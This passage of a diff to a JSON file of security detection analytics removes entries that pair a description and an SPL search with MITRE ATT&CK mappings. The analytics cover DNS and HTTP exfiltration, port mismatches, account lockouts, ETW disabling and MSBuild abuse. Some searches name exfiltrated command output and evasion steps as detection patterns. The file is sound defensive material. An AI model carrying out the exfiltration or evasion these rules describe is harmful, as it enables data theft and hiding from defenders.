communication attempts. If confirmed malicious, this activity could allow attackers to stealthily transfer data or maintain persistent communication channels within the network.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Network_Resolution where NOT DNS.record_type IN(\"Pointer\",\"PTR\") by DNS.query host| `drop_dm_object_name(\"DNS\")` | eval tlds=split(query,\".\") | eval tld=mvindex(tlds,-1) | eval tld_len=len(tld) | search tld_len<=24 | eval query_length = len(query) | table host query query_length record_type count | eventstats stdev(query_length) AS stdev avg(query_length) AS avg p50(query_length) AS p50| where query_length>(avg+stdev*2) | eval z_score=(query_length-avg)/stdev | `dns_query_length_with_high_standard_deviation_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Hidden Cobra Malware", - "Suspicious DNS Traffic" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A dns query $query$ with 2 time standard deviation of name len of the dns query in host $host$", - "risk_score": 56, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Multiple Archive Files Http Post Traffic", - "description": "The following analytic detects the high-frequency exfiltration of archive files via HTTP POST requests. It leverages HTTP stream logs to identify specific archive file headers within the request body. This activity is significant as it often indicates data exfiltration by APTs or trojan spyware after data collection. If confirmed malicious, this behavior could lead to the unauthorized transfer of sensitive data to an attacker\u2019s command and control server, potentially resulting in severe data breaches and loss of confidential information.", - "search": "`stream_http` http_method=POST |eval archive_hdr1=substr(form_data,1,2) | eval archive_hdr2 = substr(form_data,1,4) |stats values(form_data) as http_request_body min(_time) as firstTime max(_time) as lastTime count by src_ip dest_ip http_method http_user_agent uri_path url bytes_in bytes_out archive_hdr1 archive_hdr2 |where count >20 AND (archive_hdr1 = \"7z\" OR archive_hdr1 = \"PK\" OR archive_hdr2=\"Rar!\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `multiple_archive_files_http_post_traffic_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Data Exfiltration" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "url", - "type": "URL String", - "role": [ - "Attacker" - ] - } - ], - "message": "A http post $http_method$ sending packet with possible archive bytes header in uri path $uri_path$", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Plain HTTP POST Exfiltrated Data", - "description": "The following analytic detects potential data exfiltration using plain HTTP POST requests. It leverages network traffic logs, specifically monitoring the `stream_http` data source for POST methods containing suspicious form data such as \"wermgr.exe\" or \"svchost.exe\". This activity is significant because it is commonly associated with malware like Trickbot, trojans, keyloggers, or APT adversaries, which use plain text HTTP POST requests to communicate with remote C2 servers. If confirmed malicious, this activity could lead to unauthorized data exfiltration, compromising sensitive information and potentially leading to further network infiltration.", - "search": "`stream_http` http_method=POST form_data IN (\"*wermgr.exe*\",\"*svchost.exe*\", \"*name=\\\"proclist\\\"*\",\"*ipconfig*\", \"*name=\\\"sysinfo\\\"*\", \"*net view*\") |stats values(form_data) as http_request_body min(_time) as firstTime max(_time) as lastTime count by src_ip dest_ip http_method http_user_agent uri_path url bytes_in bytes_out | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `plain_http_post_exfiltrated_data_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Data Exfiltration" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "A http post $http_method$ sending packet with plain text of information in uri path $uri_path$", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } - }, - { - "name": "Protocol or Port Mismatch", - "description": "The following analytic identifies network traffic where the higher layer protocol does not match the expected port, such as non-HTTP traffic on TCP port 80. It leverages data from network traffic inspection technologies like Bro or Palo Alto Networks firewalls. This activity is significant because it may indicate attempts to bypass firewall restrictions or conceal malicious communications. If confirmed malicious, this behavior could allow attackers to evade detection, maintain persistence, or exfiltrate data through commonly allowed ports, posing a significant threat to network security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where (All_Traffic.app=dns NOT All_Traffic.dest_port=53) OR ((All_Traffic.app=web-browsing OR All_Traffic.app=http) NOT (All_Traffic.dest_port=80 OR All_Traffic.dest_port=8080 OR All_Traffic.dest_port=8000)) OR (All_Traffic.app=ssl NOT (All_Traffic.dest_port=443 OR All_Traffic.dest_port=8443)) OR (All_Traffic.app=smtp NOT All_Traffic.dest_port=25) by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.dest_port |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `protocol_or_port_mismatch_filter`", - "tags": { - "analytic_story": [ - "Command And Control", - "Prohibited Traffic Allowed or Protocol Mismatch" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1048.003", - "mitre_attack_technique": "Exfiltration Over Unencrypted Non-C2 Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "APT32", - "APT33", - "FIN6", - "FIN8", - "Lazarus Group", - "OilRig", - "Thrip", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1048", - "mitre_attack_technique": "Exfiltration Over Alternative Protocol", - "mitre_attack_tactics": [ - "Exfiltration" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - } - ] - } + "technique_id": "T1048.003", + "x_mitre_is_subtechnique": true, + "technique": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", + "tactic": [ + "exfiltration" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -725439,203 +492534,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Detect Excessive User Account Lockouts", - "description": "The following analytic identifies user accounts experiencing an excessive number of lockouts within a short timeframe. It leverages the 'Change' data model, specifically focusing on events where the result indicates a lockout. This activity is significant as it may indicate a brute-force attack or misconfiguration, both of which require immediate attention. If confirmed malicious, this behavior could lead to account compromise, unauthorized access, and potential lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Change.All_Changes where All_Changes.result=\"*lock*\" by All_Changes.user All_Changes.result |`drop_dm_object_name(\"All_Changes\")` |`drop_dm_object_name(\"Account_Management\")`| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search count > 5 | `detect_excessive_user_account_lockouts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive user account lockouts for $user$ in a short period of time", - "risk_score": 36, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.003", - "mitre_attack_technique": "Local Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "FIN10", - "FIN7", - "HAFNIUM", - "Kimsuky", - "PROMETHIUM", - "Tropic Trooper", - "Turla" - ] - } - ] - } - }, - { - "name": "Potential password in username", - "description": "The following analytic identifies instances where users may have mistakenly entered their passwords in the username field during authentication attempts. It detects this by analyzing failed authentication events with usernames longer than 7 characters and high Shannon entropy, followed by a successful authentication from the same source to the same destination. This activity is significant as it can indicate potential security risks, such as password exposure. If confirmed malicious, attackers could exploit this to gain unauthorized access, leading to potential data breaches or further compromise of the system.", - "search": "| tstats `security_content_summariesonly` earliest(_time) AS starttime latest(_time) AS endtime latest(sourcetype) AS sourcetype values(Authentication.src) AS src values(Authentication.dest) AS dest count FROM datamodel=Authentication WHERE nodename=Authentication.Failed_Authentication BY \"Authentication.user\" | `drop_dm_object_name(Authentication)` | lookup ut_shannon_lookup word AS user | where ut_shannon>3 AND len(user)>=8 AND mvcount(src) == 1 | sort count, - ut_shannon | eval incorrect_cred=user | eval endtime=endtime+1000 | map maxsearches=70 search=\"| tstats `security_content_summariesonly` earliest(_time) AS starttime latest(_time) AS endtime latest(sourcetype) AS sourcetype values(Authentication.src) AS src values(Authentication.dest) AS dest count FROM datamodel=Authentication WHERE nodename=Authentication.Successful_Authentication Authentication.src=\\\"$src$\\\" Authentication.dest=\\\"$dest$\\\" sourcetype IN (\\\"$sourcetype$\\\") earliest=\\\"$starttime$\\\" latest=\\\"$endtime$\\\" BY \\\"Authentication.user\\\" | `drop_dm_object_name(\\\"Authentication\\\")` | `potential_password_in_username_false_positive_reduction` | eval incorrect_cred=\\\"$incorrect_cred$\\\" | eval ut_shannon=\\\"$ut_shannon$\\\" | sort count\" | where user!=incorrect_cred | outlier action=RM count | `potential_password_in_username_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Insider Threat" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential password in username ($user$) with Shannon entropy ($ut_shannon$)", - "risk_score": 21, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.003", - "mitre_attack_technique": "Local Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "FIN10", - "FIN7", - "HAFNIUM", - "Kimsuky", - "PROMETHIUM", - "Tropic Trooper", - "Turla" - ] - }, - { - "mitre_attack_id": "T1552.001", - "mitre_attack_technique": "Credentials In Files", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT3", - "APT33", - "FIN13", - "Fox Kitten", - "Kimsuky", - "Leafminer", - "MuddyWater", - "OilRig", - "Scattered Spider", - "TA505", - "TeamTNT" - ] - } - ] - } } ], "external_reference": [ @@ -726480,543 +493378,7 @@ "Event ID": "4688 ", "Event Name": "Process CMD Line" } - ], - { - "name": "ETW Registry Disabled", - "description": "The following analytic detects a registry modification that disables the Event Tracing for Windows (ETW) feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the ETWEnabled registry value under the .NETFramework path. This activity is significant because disabling ETW can allow attackers to evade Endpoint Detection and Response (EDR) tools and hide their execution from audit logs. If confirmed malicious, this action could enable attackers to operate undetected, potentially leading to further compromise and persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework*\" Registry.registry_value_name = ETWEnabled Registry.registry_value_data=0x00000000) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `etw_registry_disabled_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.006", - "mitre_attack_technique": "Indicator Blocking", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT41", - "APT5" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "MSBuild Suspicious Spawned By Script Process", - "description": "The following analytic detects the suspicious spawning of MSBuild.exe by Windows Script Host processes (cscript.exe or wscript.exe). This behavior is often associated with malware or adversaries executing malicious MSBuild processes via scripts on compromised hosts. The detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where MSBuild is a child of script hosts. This activity is significant as it may indicate an attempt to execute malicious code. If confirmed malicious, it could lead to unauthorized code execution, potentially compromising the host and allowing further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"wscript.exe\", \"cscript.exe\") AND `process_msbuild` by Processes.dest Processes.parent_process Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `msbuild_suspicious_spawned_by_script_process_filter`", - "tags": { - "analytic_story": [ - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Msbuild.exe process spawned by $parent_process_name$ on $dest$ executed by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious microsoft workflow compiler rename", - "description": "The following analytic detects the renaming of microsoft.workflow.compiler.exe, a rarely used executable typically located in C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319. This detection leverages Endpoint Detection and Response (EDR) data, focusing on process names and original file names. This activity is significant because renaming this executable can indicate an attempt to evade security controls. If confirmed malicious, an attacker could use this renamed executable to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=microsoft.workflow.compiler.exe AND Processes.original_file_name=Microsoft.Workflow.Compiler.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_microsoft_workflow_compiler_rename_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed microsoft.workflow.compiler.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Suspicious microsoft workflow compiler usage", - "description": "The following analytic identifies the usage of microsoft.workflow.compiler.exe, a rarely utilized executable typically found in C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution telemetry. The significance of this activity lies in its uncommon usage, which may indicate malicious intent such as code execution or persistence mechanisms. If confirmed malicious, an attacker could leverage this process to execute arbitrary code, potentially leading to unauthorized access or further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_microsoftworkflowcompiler` by Processes.dest Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_microsoft_workflow_compiler_usage_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Trusted Developer Utilities Proxy Execution" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious microsoft.workflow.compiler.exe process ran on $dest$ by $user$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious msbuild path", - "description": "The following analytic detects the execution of msbuild.exe from a non-standard path. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that deviate from typical msbuild.exe locations. This activity is significant because msbuild.exe is commonly abused by attackers to execute malicious code, and running it from an unusual path can indicate an attempt to evade detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_msbuild` AND (Processes.process_path!=*\\\\framework*\\\\v*\\\\*) by Processes.dest Processes.original_file_name Processes.parent_process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `suspicious_msbuild_path_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Msbuild.exe ran from an uncommon path on $dest$ execyted by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious MSBuild Rename", - "description": "The following analytic detects the execution of renamed instances of msbuild.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names within the Endpoint data model. This activity is significant because msbuild.exe is a legitimate tool often abused by attackers to execute malicious code while evading detection. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name!=msbuild.exe AND Processes.original_file_name=MSBuild.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_msbuild_rename_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack", - "Living Off The Land", - "Masquerading - Rename System Utilities", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed msbuild.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious MSBuild Spawn", - "description": "The following analytic identifies instances where wmiprvse.exe spawns msbuild.exe, which is unusual and indicative of potential misuse of a COM object. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process relationships and command-line executions. This activity is significant because msbuild.exe is typically spawned by devenv.exe during legitimate Visual Studio use, not by wmiprvse.exe. If confirmed malicious, this behavior could indicate an attacker executing arbitrary code or scripts, potentially leading to system compromise or further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=wmiprvse.exe AND `process_msbuild` by Processes.dest Processes.parent_process Processes.original_file_name Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_msbuild_spawn_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Trusted Developer Utilities Proxy Execution MSBuild" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious msbuild.exe process executed on $dest$ by $user$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1127.001", - "mitre_attack_technique": "MSBuild", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ [ @@ -727663,415 +494025,6 @@ "source_data_element": "sensor health", "relationship": "contained", "target_data_element": "host system status" - }, - { - "name": "Linux System Reboot Via System Request Key", - "description": "The following analytic detects the execution of the SysReq hack to reboot a Linux system host. It leverages Endpoint Detection and Response (EDR) data to identify processes executing the command to 